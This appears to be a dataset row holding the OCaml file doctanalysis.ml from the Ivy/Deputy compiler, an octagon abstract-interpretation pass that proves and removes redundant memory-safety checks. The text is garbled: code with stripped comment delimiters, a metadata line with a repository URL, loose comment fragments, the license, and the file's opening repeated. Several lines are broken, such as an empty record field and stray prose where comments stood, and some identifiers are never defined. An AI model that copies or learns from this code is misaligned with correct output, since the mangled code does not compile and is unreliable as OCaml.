(List.combine old.smallStates newa.smallStates)
module Flow = struct
let name = "DeputyOpt"
let debug = debug
type t = absState
let copy = time "oct-copy" absStateCopy
let stmtStartData = stateMap
let pretty = d_state
let computeFirstPredecessor s a = a
let combinePredecessors s ~(old:t) newa =
if time "oct-equal" (absStateEqual old) newa then None else
match s.skind with
| Loop(b, l, so1, so2) -> begin
if !debug then ignore(E.log "widening at sid: %d\n" s.sid);
time "oct-widen" (absStateWiden old) newa;
Some newa
end
| _ -> begin
time "oct-union" (absStateUnion old) newa;
Some newa
end
let doInstr i a =
if !debug then ignore(E.log "Visiting %a State is %a.\n" dn_instr i d_state a);
let newstate = flowHandleInstr a i in
DF.Done (newstate)
let doStmt s a =
curStmt := s.sid;
DF.SDefault
let doGuard e a =
if isFalse a e then DF.GUnreachable
else DF.GUse (doBranch (copy a) e)
let filterStmt s = true
end
module FlowEngine = DF.ForwardsDataFlow (Flow)
let printFailCond (tl : (bool * absState * doc option) list)
(c : check)
: bool
=
let ci = checkToInstr c in
List.fold_left (fun b1 (b2, _, fco) ->
(match fco with
| Some fc -> ignore(E.log "%a\n%t" dt_instr ci (fun () -> fc))
| None -> ());
b1 && b2)
true tl
let flowOptimizeCheck (c: check) ((inState, acc):(absState * check list))
: (absState * check list) =
let isNonNull = isNonNull inState in
Returns true if CPtrArith(lo , hi , , , sz ) can be optimized away :
let checkPtrArith lo hi p e : bool =
let e' = BinOp(PlusPI,p,e,typeOf p) in
printFailCond [doExpLeq lo e' inState; doExpLeq e' hi inState] c
in
Returns true if CPtrArithAccess(lo , hi , , , sz ) can be optimized away :
let checkPtrArithAccess lo hi p e : bool =
let e' = BinOp(PlusPI,p,e,typeOf p) in
let e'' = BinOp(PlusPI,p,BinOp(PlusA,e,one,typeOf e),typeOf p) in
printFailCond [doExpLeq lo e' inState; doExpLeq e'' hi inState] c
in
let checkPtrArithNT lo hi p e : bool =
let e' = BinOp(PlusPI,p,e,typeOf p) in
printFailCond [doExpLeq lo e' inState; doExpLeq ~fCE:false e' hi inState] c
in
Returns true if CLeq(e1 , e2 ) can be optimized away :
let checkLeq ?(fCE: bool = true) e1 e2 : bool =
printFailCond [doExpLeq ~fCE:fCE e1 e2 inState] c
in
(* doOpt is called recursivly if we simplify the check to a different check
that has its own optimization rule.
It returns the simplified check, or None if we satisfied the check
completely.*)
let rec doOpt (c : check) : check option =
match c with
| CNonNull (e1) when isNonNull e1 ->
None
| CNonNull (e1) when isZero e1 ->
error "non-null check will always fail.";
Some c
| CNullOrLeq (e1, _, _, why)
| CNullOrLeqNT (e1, _, _, _, why) when isZero e1 ->
None
| CNullOrLeq (e1, e2, e3, why) when isNonNull e1 ->
doOpt (CLeq(e2, e3, why))
| CNullOrLeqNT (e1, e2, e3, e4, why) when isNonNull e1 ->
let c' = CLeqNT(e2, e3, e4, why) in
doOpt c'
| CPtrArithAccess(lo,hi,p,e,sz) when checkPtrArithAccess lo hi p e ->
None
| CPtrArith(lo, hi, p, e, sz) when checkPtrArith lo hi p e ->
None
| CPtrArithNT(lo, hi, p, e, sz) when checkPtrArithNT lo hi p e ->
None
| CLeqNT(e1,e2,_,_) when checkLeq ~fCE:false e1 e2 ->
None
| CLeq(e1, e2, _)
| CNullOrLeq(_, e1, e2, _)
| CNullOrLeqNT(_, e1, e2, _, _) when checkLeq e1 e2 ->
None
| CLeqInt(e1, (BinOp (MinusPP, hi, p, _)), _) ->
let e' = BinOp(PlusPI, p, e1, (typeOf p)) in
if checkLeq e' hi then
None
else
Some c
| _ -> Some c
in
let acc' = match doOpt c with
Some c -> c::acc | None -> acc
in
(processCheck inState c), acc'
class flowOptimizeVisitor tryReverse = object (self)
inherit nopCilVisitor
val mutable curSid = -1
method vstmt s =
(* now that checks and instructions can be mixed,
* the state has to be changed when an instruction is
* visited *)
let rec filterIl state il fl =
match il with
| [] -> List.rev fl
| i::rest -> begin
if !debug then ignore(E.log "filterIL: looking at %a in state %a\n"
d_instr i d_state state);
match instrToCheck i with
| Some c -> begin
let _, c' = flowOptimizeCheck c (state,[]) in
let new_state = flowHandleInstr state i in
match c' with
| [] -> begin
if !debug then ignore(E.log "fOV: in state %a, optimized %a out\n"
d_state state d_instr i);
filterIl new_state rest fl
end
| [nc] -> begin
let i' = checkToInstr nc in
if !debug then ignore(E.log "fOV: changed to %a out\n" d_instr i');
filterIl new_state rest (i'::fl)
end
| _ -> begin
if !debug then ignore(E.log "fOV: didn't optimize %a out\n" d_instr i);
filterIl new_state rest (i::fl)
end
end
| None ->
let new_state = flowHandleInstr state i in
filterIl new_state rest (i::fl)
end
in
begin
try
curSid <- s.sid;
let state = IH.find stateMap s.sid in
if !debug then
E.log "Optimizing statement %d with state %a\n" s.sid d_state state;
begin
match s.skind with
| If(e, blk1, blk2, l) when isNonNull state e ->
if hasALabel blk2 then
s.skind <- If(Cil.one, blk1, blk2, l)
else
(* blk2 is unreachable *)
s.skind <- Block blk1
| If(e, blk1, blk2, l) when isFalse state e ->
if hasALabel blk1 then
s.skind <- If(Cil.zero, blk1, blk2, l)
else
(* blk1 is unreachable *)
s.skind <- Block blk2
| Instr il ->
if tryReverse then
let il' = filterIl state il [] in
let (pre, rst) = prefix is_check_instr il' in
let il'' = filterIl state (List.rev pre) [] in
s.skind <- Instr((List.rev il'')@rst)
else
s.skind <- Instr(filterIl state il [])
| _ -> ()
end
stmt is unreachable
end;
DoChildren
method vfunc fd =
curFunc := fd;
let cleanup x =
curFunc := dummyFunDec;
x
in
ChangeDoChildrenPost (fd, cleanup)
end
lvh is a mapping from lvals to lval list refs
class lvalFamilyMakerClass lvh = object(self)
inherit nopCilVisitor
val mutable singCondVar = None
method private makeFamily ?(sing:bool=false) (ce: DCE.Can.t) =
if ! debug then ignore(E.log " Making family for : % a\n " DCE.Can.d_t ) ;
if sing then match ce.DCE.Can.cf with
| [(_, StartOf lv)]
| [(_, Lval lv)] -> singCondVar <- Some lv
| _ -> ()
else
List.iter (fun (_,e1) ->
List.iter (fun (_,e2) ->
match e1, e2 with
| Lval lv1, Lval lv2
| Lval lv1, StartOf lv2
| Lval lv1, AddrOf lv2
| StartOf lv1, Lval lv2
| StartOf lv1, StartOf lv2
| StartOf lv1, AddrOf lv2
| AddrOf lv1, Lval lv2
| AddrOf lv1, StartOf lv2
| AddrOf lv1, AddrOf lv2 -> begin
match lv1, lv2 with
| (Var vi, NoOffset), _ when vi.vname = "__LOCATION__" -> ()
| _, (Var vi, NoOffset) when vi.vname = "__LOCATION__" -> ()
| _ -> begin
match singCondVar with
| None ->
lvh := LvUf.make_equal (!lvh) lv1 lv2 Ptrnode.mkRIdent
| Some lv ->
let tlvh = LvUf.make_equal (!lvh) lv1 lv Ptrnode.mkRIdent in
lvh := LvUf.make_equal tlvh lv1 lv2 Ptrnode.mkRIdent
end
end
| _, _ -> ()) ce.DCE.Can.cf) ce.DCE.Can.cf
(* use the lvals we get from canonicalized expressions *)
method vexpr e =
let ce = DCE.canonExp Int64.one e in
self#makeFamily ce;
DoChildren
method vinst i =
match i with
| Set(lv, e, _) -> begin
let ce = DCE.canonExp Int64.one e in
let lvce = DCE.canonExp Int64.one (Lval lv) in
let ce = {ce with DCE.Can.cf = } in
self#makeFamily ce;
DoChildren
end
| Call(Some lv, _, el, _) when is_deputy_instr i -> begin
let cel = List.map (DCE.canonExp Int64.one) el in
let cfll = List.map (fun ce -> ce.DCE.Can.cf) cel in
let cfl = List.concat cfll in
let ce = DCE.canonExp Int64.one (Lval lv) in
let ce = {ce with DCE.Can.cf = ce.DCE.Can.cf @ cfl} in
self#makeFamily ce;
DoChildren
end
| Call(_,_,el,_) when is_deputy_instr i -> begin
if el <> [] then
let cel = List.map (DCE.canonExp Int64.one) el in
let cfll = List.map (fun ce -> ce.DCE.Can.cf) cel in
let cfl = List.concat cfll in
let ce = DCE.canonExp Int64.one (List.hd el) in
let ce = {ce with DCE.Can.cf = ce.DCE.Can.cf @ cfl} in
self#makeFamily ce;
DoChildren
else DoChildren
end
| _ -> DoChildren
method vstmt s =
match s.skind with
| If(e, _, _, _) -> begin
let e = simplifyBoolExp e in
match e with
| BinOp(_, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let ce1 = DCE.canonExp Int64.one e1 in
let ce2 = DCE.canonExp Int64.one e2 in
let d = DCE.Can.sub ce2 ce1 ILong in
self#makeFamily ~sing:false d;
DoChildren
| _ -> DoChildren
end
| _ -> DoChildren
end
let famListsToAbsState lvh : absState =
if !debug then ignore(E.log "famListsToAbsState: begin\n");
let ssHash = LvHash.create 32 in
let sSrLstr = ref [] in
let lvlistlist = LvUf.eq_classes (!lvh) in
if !debug then ignore(E.log "famListsToAbsState: There are %d families\n"
(List.length lvlistlist));
List.iter (fun lvl ->
if List.length lvl <= 1 then () else (* no singleton families *)
let newoct = O.universe (List.length lvl) in
let idHash = LvHash.create 10 in
let cr = ref 0 in
if !debug then ignore(E.log "Family: ");
List.iter (fun lv ->
if !debug then ignore(E.log "(%d, %a) " (!cr) d_lval lv);
LvHash.add idHash lv (!cr);
incr cr) lvl;
if !debug then ignore(E.log "\n");
let newssr = ref {octagon = newoct; lvHash = idHash} in
sSrLstr := newssr :: (!sSrLstr);
List.iter (fun lv ->
LvHash.add ssHash lv newssr)
lvl) lvlistlist;
{ lvState = ssHash; smallStates = !sSrLstr }
let lvFamsCreate fd =
let lvh = ref LvUf.empty in
let vis = new lvalFamilyMakerClass lvh in
if !debug then ignore(E.log "making lv hash for %s\n" fd.svar.vname);
try
ignore(visitCilFunction vis fd);
if !debug then ignore(E.log "lvFamsCreate: finished making lvh\n");
lvh
with x ->
ignore(E.log "lvFamsCreate: There was an exception in lvalFamilyMakerClass: %s\n"
(Printexc.to_string x));
raise x
let makeTop fd =
let lvh = lvFamsCreate fd in
if !debug then ignore(E.log "Making top for %s\n" fd.svar.vname);
famListsToAbsState lvh
(** flow-sensitive octagon analysis *)
let doOctAnalysis ?(tryReverse : bool=false)
(fd : fundec)
(fdat : DPF.functionData)
: unit =
try
if !debug then ignore(E.log "OctAnalysis: analyzing %s\n" fd.svar.vname);
IH.clear stateMap;
fdato := (Some fdat); (* for flowHandleInstr *)
let fst = List.hd fd.sbody.bstmts in
let precs =
match IH.tryfind fdat.DPF.fdPCHash fd.svar.vid with
| None -> []
| Some cl -> cl
in
let t = List.fold_left flowHandleInstr (makeTop fd) precs in
IH.add stateMap fst.sid t;
if !debug then ignore(E.log "running flow engine for %s\n" fd.svar.vname);
totalChecks := 0;
totalAssert := 0;
octoCheckInsuf := 0;
octoAssertInsuf := 0;
interAssertInsuf := 0;
interCheckInsuf := 0;
time "oct-compute" FlowEngine.compute [fst];
if !debug then
E.log "%s: finished analysis; starting optimizations.\n" Flow.name;
ignore (time "oct-optim" (visitCilFunction (new flowOptimizeVisitor tryReverse)) fd);
IH.clear stateMap;
curStmt := -1;
()
with Failure "hd" -> ()
let reportStats() = ()
ignore(E.log " % d\n " ( ! ) ) ;
ignore(E.log " totalAssert % d\n " ( ! ) ) ;
ignore(E.log " interCheckInsuf % d\n " ( ! interCheckInsuf ) ) ;
ignore(E.log " interAssertInsuf % d\n " ( ! interAssertInsuf ) ) ;
ignore(E.log " octoCheckInsuf % d\n " ( ! octoCheckInsuf ) ) ;
ignore(E.log " octoAssertInsuf % d\n " ( ! octoAssertInsuf ) )
ignore(E.log "totalAssert %d\n" (!totalAssert));
ignore(E.log "interCheckInsuf %d\n" (!interCheckInsuf));
ignore(E.log "interAssertInsuf %d\n" (!interAssertInsuf));
ignore(E.log "octoCheckInsuf %d\n" (!octoCheckInsuf));
ignore(E.log "octoAssertInsuf %d\n" (!octoAssertInsuf))*)
| null | https://raw.githubusercontent.com/spl/ivy/b1b516484fba637eb24e83d27555d273495e622b/src/deputy/optimizer/oct/mineOct/doctanalysis.ml | ocaml | The octagon
The mapping from lvals to octagon variables
A mapping from each lval to the abstract state for
* its family
the state for each lv
A list of small states for easy iteration, etc.
* When ignore_inst returns true, then
* the instruction in question has no
* effects on the abstract state.
* When ignore_call returns true, then
* the instruction only has side-effects
* from the assignment if there is one.
unit -> bool
This should be called from doptimmain before doing anything
This indicates that this module actualy does something
v_i - v_j <= m_ij
Forget the state for any lval that mentions lv
e is being written if (Some e)
find the gcd of the non-zero elements of the array
Take a canonicalized expression and return a list of lval ids and coefficients
* along with the smallState for their family. If not all lvals are from
* the same family, or if the canonicalized expression isn't of the form we need
* then raise BadConExp.
For Sanity Checking
Sanity Check! Make sure all lvals are in
* the same family. For loop conditions that don't matter
* it's okay if they're not, though.
If this happens, it is likely a failure in
expression canonicalization.
get the small state of interest
Given a canonicalized expression, make a vnum of
* coefs and return the smallState that the lvals in
* the expression belong to
make an array of coefficients. The last elemens is the constant
Add the constant term
Try to make all of the coefs +/-1
If any but the constant term are not +/-1 or 0, then
raise BadConExp, which will return false and not update state
d := !d ++ text "\t" ++ dx_lval () lv ++ text " <= "
++ num hi ++ line
d := !d ++ text "\t" ++ num (-lo) ++ text " <= "
++ dx_lval () lv ++ line
Check that e1 <= e2 in state "state"
* fst(doExpLeq false e1 e2 s) is true if e1 <= e2 can be proved
* snd(doExpLeq true e1 e2 s) is the state with e1 <= e2 added.
* fst(doExpLeq true e1 e2 s) is false if the state couldn't be updated.
*
* Remember the invariant that all lvals that will be compared here will
* be in the same family. (If they aren't, it is a bug)
if modify is true, then add the information to the state,
otherwise check if the inequality holds
let docoption = None in
log "Guard %a <= %a.\n" dx_exp e1 dx_exp e2;
log "Guard %a < %a.\n" d_plainexp e1 d_plainexp e2;
(* log "isNonNull? on %a.\n" d_plainexp e;
We've disallowed ptr arith if e1 is null.
snd(doExpLeq ~modify:true one (Lval lv) state)
Turn a conjunction into a list of conjuncts
Update a state to reflect a branch
Add that
* lv >= e1 and
* lv >= e2
Update a state to reflect a check
CNonNull e -> doBranch a e
no upper bound
Add to anext any relevant inequality information for the assignment
dest := e
do the assignment!
TODO: check for overflow
fdato is set in doOctAnalysis.
Easier for it to be a global b/c of dataflow functor
E.log "Doing instr %a in state %a\n" d_instr i d_state a;
forgetMem ~globalsToo:true (forgetLval a lv)
forgetMem ~globalsToo:true a None
This is a quasi-sound handling of inline assembly
make copy of list
zip up with old list
Iter through old hash table to make new hash table
Check that each of the octagons are the same
doOpt is called recursivly if we simplify the check to a different check
that has its own optimization rule.
It returns the simplified check, or None if we satisfied the check
completely.
now that checks and instructions can be mixed,
* the state has to be changed when an instruction is
* visited
blk2 is unreachable
blk1 is unreachable
use the lvals we get from canonicalized expressions
no singleton families
* flow-sensitive octagon analysis
for flowHandleInstr |
*
* Copyright ( c ) 2004 ,
* < >
* < >
* All rights reserved .
*
* Redistribution and use in source and binary forms , with or without
* modification , are permitted provided that the following conditions are
* met :
*
* 1 . Redistributions of source code must retain the above copyright
* notice , this list of conditions and the following disclaimer .
*
* 2 . Redistributions in binary form must reproduce the above copyright
* notice , this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution .
*
* 3 . The names of the contributors may not be used to endorse or promote
* products derived from this software without specific prior written
* permission .
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS " AS
* IS " AND ANY EXPRESS OR IMPLIED WARRANTIES , INCLUDING , BUT NOT LIMITED
* TO , THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED . IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR FOR ANY DIRECT , INDIRECT , INCIDENTAL , SPECIAL ,
* EXEMPLARY , OR CONSEQUENTIAL DAMAGES ( INCLUDING , BUT NOT LIMITED TO ,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES ; LOSS OF USE , DATA , OR
* PROFITS ; OR BUSINESS INTERRUPTION ) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY , WHETHER IN CONTRACT , STRICT LIABILITY , OR TORT ( INCLUDING
* NEGLIGENCE OR OTHERWISE ) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE , EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE .
*
*
* Copyright (c) 2004,
* Jeremy Condit <>
* George C. Necula <>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. The names of the contributors may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*)
*
* doctanalysis.ml
*
* An octogon analysis using the library by
*
*
*
* doctanalysis.ml
*
* An octogon analysis using the library by Antoine Mine'
*
*
*)
open Cil
open Expcompare
open Pretty
open Dattrs
open Dutil
open Dcheckdef
open Doptimutil
open Ivyoptions
open Dflowinsens
module E = Errormsg
module IH = Inthash
module P = Dptranal
module DF = Dataflow
module S = Stats
module DCE = Dcanonexp
module AELV = Availexpslv
module H = Hashtbl
module UF = Unionfind
module DFF = Dfailfinder
module SI = SolverInterface
module DPF = Dprecfinder
module O = Oct
module LvHash =
H.Make(struct
type t = lval
let equal lv1 lv2 = compareLval lv1 lv2
let hash = H.hash
end)
module LvSet =
Set.Make(struct
type t = lval
let compare = Pervasives.compare
end)
module LvUf = UF.Make(LvSet)
A mapping from lvals to the family(list ) of lvals
that the lval belongs to
that the lval belongs to *)
type lvalFams = lval list ref LvHash.t
The abstract state for one family of lvals
type smallState = {
mutable octagon: O.oct;
lvHash: int LvHash.t;
}
type absState = {
lvState: smallState ref LvHash.t;
smallStates: smallState ref list
}
let debug = ref false
let doTime = ref true
let time s f x = if !doTime then S.time s f x else f x
let ignore_inst = ref (fun i -> false)
let ignore_call = ref (fun i -> false)
let registerIgnoreInst (f : instr -> bool) : unit =
let f' = !ignore_inst in
ignore_inst := (fun i -> (f i) || (f' i))
let registerIgnoreCall (f : instr -> bool) : unit =
let f' = !ignore_call in
ignore_call := (fun i -> (f i) || (f' i))
let init = O.init
let real = true
let octprinter =
O.foctprinter (fun i -> "v"^(string_of_int i))
Format.str_formatter
let d_oct () (o: O.oct) =
octprinter o;
text (Format.flush_str_formatter())
let d_state () (a:absState) =
List.fold_left (fun d sSr ->
if O.is_universe (!sSr).octagon then
d ++ text "-> Universe"
++ line
else if O.is_empty (!sSr).octagon then
d ++ text "-> Empty"
++ line
else begin
octprinter (!sSr).octagon;
d ++ text ("-> "^(Format.flush_str_formatter()))
++ line
end) nil a.smallStates
let d_vnum () (v:O.vnum) =
O.fvnumprinter Format.str_formatter v;
text (Format.flush_str_formatter()) ++ line
let lvHashRevLookup (lvih : int LvHash.t) (i : int) : lval option =
LvHash.fold (fun lv j lvo -> if i = j then (Some lv) else lvo)
lvih None
Convert an octagon to a list of expressions embodying the constraints
let octToBinOpList (a : absState) : exp list =
List.fold_left (fun el sSr ->
let o = (!sSr).octagon in
let lvih = (!sSr).lvHash in
let nel = ref [] in
let n = O.dim o in
if O.is_empty o then el else begin
for i = 0 to n - 1 do
let m_ij = O.get_elem o (2*i + 1) (2*i) in
match O.int_of_num m_ij with
| None -> ()
| Some m_ij -> begin
match lvHashRevLookup lvih i with
| Some lv_i ->
let e_i = Lval lv_i in
let ineq = BinOp(Le, e_i, integer m_ij, intType) in
nel := ineq :: (!nel)
| _ -> ()
end
done;
for i = 0 to n - 1 do
for j = 0 to i - 1 do
let m_ij = O.get_elem o (2*j) (2*i) in
(match O.int_of_num m_ij with
| None -> ()
| Some m_ij -> begin
Reverse lookup in lvih for the lvals of v_j and v_i ,
then build an expression and add it to the list
then build an expression and add it to the list *)
match lvHashRevLookup lvih i, lvHashRevLookup lvih j with
| Some lv_i, Some lv_j ->
let e_i = Lval lv_i in
let e_j = Lval lv_j in
let diff = BinOp(MinusA, e_i, e_j, intType) in
let ineq = BinOp(Le, diff, integer m_ij, intType) in
nel := ineq :: (!nel)
| _, _ -> ()
end);
let m_ij = O.get_elem o (2*j+1) (2*i) in
(match O.int_of_num m_ij with
| None -> ()
| Some m_ij -> begin
v_i < = m_ij
match lvHashRevLookup lvih i, lvHashRevLookup lvih j with
| Some lv_i, Some lv_j ->
let e_i = Lval lv_i in
let e_j = Lval lv_j in
let sum = BinOp(PlusA, e_i, e_j, intType) in
let ineq = BinOp(Le, sum, integer m_ij, intType) in
nel := ineq :: (!nel)
| _, _ -> ()
end)
done
done;
el @ (!nel)
end)
[] a.smallStates
let forgetLval (a: absState) (lv: lval) : absState =
List.iter (fun sSr ->
let newoct = LvHash.fold (fun elv id o ->
if AELV.exp_has_lval lv (Lval elv) then
time "oct-forget" (O.forget o) id
else o) (!sSr).lvHash (!sSr).octagon
in
(!sSr).octagon <- newoct) a.smallStates;
a
let forgetMem ?(globalsToo : bool=false)
(a : absState)
: absState
=
List.iter (fun sSr ->
let newoct = LvHash.fold (fun elv id o ->
if !doPtrAnalysis then
match eo with
| Some ee ->
if P.lval_has_alias_read ee elv then begin
time "oct-forget" (O.forget o) id
end else o
| None ->
if AELV.lval_has_mem_read elv then
time "oct-forget" (O.forget o) id
else o
else if AELV.lval_has_mem_read elv then
time "oct-forget" (O.forget o) id
else o)
(!sSr).lvHash (!sSr).octagon
in
(!sSr).octagon <- newoct)a.smallStates;
a
let stateMap : absState IH.t = IH.create 50
let rec gcd a b =
if b = 0 then a else gcd b (a mod b)
let arrayGCD (a: int array) =
Array.fold_left (fun g x ->
if x = 0 then g else
if g = 0 then (abs x) else gcd g (abs x)) 0 a
divide each non - zero element of the array by the gcd of
all the non - zero elements of the array
all the non-zero elements of the array *)
let divByGCD (a: int array) =
let gcd = arrayGCD a in
if gcd = 0 then a else
Array.map (fun x -> x / gcd) a
exception BadConExp
let getCoefIdList (cdiff: DCE.Can.t) (state: absState)
: (int * int) list * smallState ref
=
Make a list of ( i d , ) pairs
let id_coef_lst =
List.map (fun (f, e) ->
match e with
| StartOf lv
| Lval lv -> begin
try
let sSr = LvHash.find state.lvState lv in
let id = LvHash.find (!sSr).lvHash lv in
if true then begin
match (!sSror) with
| None -> sSror := Some sSr
| Some sSr' -> if not(sSr' == sSr) then begin
if !debug then
ignore(E.log "Not all lvals in the same family!! %a in %a\n"
d_lval lv DCE.Can.d_t cdiff);
raise BadConExp
end
end;
TODO : mine 's oct lib does n't do 64 - bits ?
with Not_found -> begin
if not(LvHash.mem state.lvState lv) && !debug then
warn "lval not in hash in getCoefIdList: %a\n" d_lval lv
else if !debug then
warn "lval not in smallState for itself?!: %a\n" d_lval lv;
raise BadConExp
end
end
| _ -> begin
if !debug then
ignore(E.log "Non lv in canon exp\n");
raise BadConExp
end) cdiff.DCE.Can.cf
in
let sSr =
match (!sSror) with
| None -> raise BadConExp
| Some sSr -> sSr
in
(id_coef_lst, sSr)
let makeCoefVnum (cdiff: DCE.Can.t) (state: absState)
: O.vnum * smallState ref
=
let (id_coefs_lst, sSr) = getCoefIdList cdiff state in
let numcs = O.dim (!sSr).octagon in
let coefs = Array.make (numcs + 1) 0 in
add coefs to the array
List.iter (fun (id, f) -> coefs.(id) <- f) id_coefs_lst;
TODO : 64 - bits
let coefs = divByGCD coefs in
let cs = Array.sub coefs 0 numcs in
let hasBadE = Array.fold_left
( fun b i - > b || ( abs i < > 1 & & i < > 0 ) ) false cs
in
if hasBadE then begin
if ! debug then
ignore(E.log " : bad % a\n " DCE.Can.d_t cdiff ) ;
raise BadConExp
end else
let hasBadE = Array.fold_left
(fun b i -> b || (abs i <> 1 && i <> 0)) false cs
in
if hasBadE then begin
if !debug then
ignore(E.log "makeCoefVnum: bad coef %a\n" DCE.Can.d_t cdiff);
raise BadConExp
end else*)
convert coefs to something that the Octagon library understands
let octcoefs = O.vnum_of_int coefs in
(octcoefs, sSr)
let findCounterExamples (a : absState)
(ce1 : DCE.Can.t)
(ce2 : DCE.Can.t) : doc option =
if !debug then
ignore(E.log "findCounterExamples: converting oct to binop list\n");
let el = octToBinOpList a in
if !debug then
ignore(E.log "findCounterExamples: calling DFF.failCheck\n");
if SI.is_real then begin
let ce = DCE.Can.sub ce2 ce1 ILong in
let eil = DFF.failCheck el ce in
if eil = [] then None else begin
let d = List.fold_left (fun d (e, i) ->
d ++ text "\t" ++ d_exp () e ++ text " = " ++ num i ++ line)
(text "Check will fail when:" ++ line) eil
in
Some d
end
end else begin
try
let ce = DCE.Can.sub ce1 ce2 ILong in
let ce = DCE.Can.sub ce (DCE.Can.mkInt Int64.one ILong) ILong in
let (enoughFacts, _) = DFF.checkFacts el ce in
if not enoughFacts then None else
let (octcoefs, sSr) = makeCoefVnum ce a in
let newoct = O.add_constraint (!sSr).octagon octcoefs in
if O.is_empty newoct then None else
if O.is_included_in ( ! then
Some ( text " \n\nCHECK WILL ALWAYS FAIL\n\n " ) else
Some (text "\n\nCHECK WILL ALWAYS FAIL\n\n") else*)
let newbox = O.int_of_vnum (O.get_box newoct) in
let oldbox = O.int_of_vnum (O.get_box (!sSr.octagon)) in
let n = O.dim newoct in
let d = ref nil in
if !debug then
ignore(E.log "findCounterExamples: looping over octagon: %d\n"
n);
for i = 0 to n - 1 do
match lvHashRevLookup (!sSr).lvHash i with
| None -> ()
| Some lv -> begin
let newlo = newbox.(2*i + 1) in
let newhi = newbox.(2*i) in
let oldlo = oldbox.(2*i + 1) in
let oldhi = oldbox.(2*i) in
match newlo, newhi with
| None, Some hi ->
if newhi <> oldhi || newlo <> oldlo then ()
| Some lo, None ->
if newlo <> oldlo || newhi <> oldhi then ()
| Some lo, Some hi ->
if (newlo <> oldlo || newhi <> oldhi) &&
hi - (-lo) <= 10
then
d := !d ++ text "\t" ++ num (-lo) ++ text " <= "
++ dx_lval () lv ++ text " <= " ++ num hi
++ line
| _, _ -> ()
end
done;
if !d <> nil then begin
let d = text "Check will fail when:\n" ++ (!d) in
Some d
end else None
with
| BadConExp -> None
end
let totalChecks = ref 0
let totalAssert = ref 0
let octoCheckInsuf = ref 0
let octoAssertInsuf = ref 0
let interAssertInsuf = ref 0
let interCheckInsuf = ref 0
let doExpLeq ?(modify : bool = false)
?(fCE : bool = true)
(e1 : exp)
(e2 : exp)
(state : absState)
: bool * absState * doc option
=
if modify then incr totalChecks else incr totalAssert;
try
let ce1 = DCE.canonExp Int64.one e1 in
let ce2 = DCE.canonExp Int64.one e2 in
let cdiff = DCE.Can.sub ce2 ce1 ILong in
if modify is true then add the fact that cdiff > = 0 ,
if modify is false return true iff absState can show that cdiff > = 0
if modify is false return true iff absState can show that cdiff >= 0 *)
May raise BadConExp
if !debug then ignore(E.log "doExpLeq: %a\n" DCE.Can.d_t cdiff);
let canonSign = DCE.Can.getSign cdiff in
if canonSign = DCE.Can.Pos || canonSign = DCE.Can.Zero then (true, state, None) else
let (octcoefs, sSr) = makeCoefVnum cdiff state in
if List.length cdiff.DCE.Can.cf > 1 then begin
if modify then incr interCheckInsuf else incr interAssertInsuf
end;
if modify then begin
let newoct = time "oct-add-constraint" (O.add_constraint (!sSr).octagon) octcoefs in
if !debug then ignore(E.log "doExpLeq: adding %a >= 0 to %a to get %a\n"
DCE.Can.d_t cdiff d_oct (!sSr).octagon d_oct newoct);
(!sSr).octagon <- newoct;
(true, state, None)
end else begin
if !debug then ignore(E.log "doExpLeq: coefs = %a\n" d_vnum octcoefs);
if !debug then ignore(E.log "adding %a >= 0\n" DCE.Can.d_t cdiff);
let testoct = time "oct-add-constraint" (O.add_constraint (!sSr).octagon) octcoefs in
if !debug then ignore(E.log "is %a included in %a?\n"
d_oct (!sSr).octagon d_oct testoct);
if time "oct-inclusion" (O.is_included_in (!sSr).octagon) testoct &&
not(O.is_empty testoct) && not(O.is_universe testoct)
then begin
if !debug then ignore(E.log "Yes!\n");
(true, state, None)
end else begin
if !debug then ignore(E.log "No!\n");
try
if !debug then ignore(E.log "doExpLeq: finding counterexamples\n");
let docoption =
if fCE then
findCounterExamples state ce1 ce2
else None
in
if !debug then ignore(E.log "doExpLeq: done finding counterexamples\n");
(false, state, docoption)
with ex -> begin
ignore(E.log "doExpLeq: findCounterEamples raised %s\n"
(Printexc.to_string ex));
raise ex
end
end
end
with
| BadConExp -> begin
if modify then incr octoCheckInsuf else incr octoAssertInsuf;
if modify then incr interCheckInsuf else incr interAssertInsuf;
(false, state, None)
end
let fst3 (f,s,t) = f
let snd3 (f,s,t) = s
let trd3 (f,s,t) = t
FIXME : use the sign info ! E.g. add e1 > = 0
let doLessEq a (e1: exp) (e2:exp) ~(signed:bool): absState =
snd3(doExpLeq ~modify:true e1 e2 a)
let doLess a (e1: exp) (e2:exp) ~(signed:bool): absState =
match unrollType (typeOf e1) with
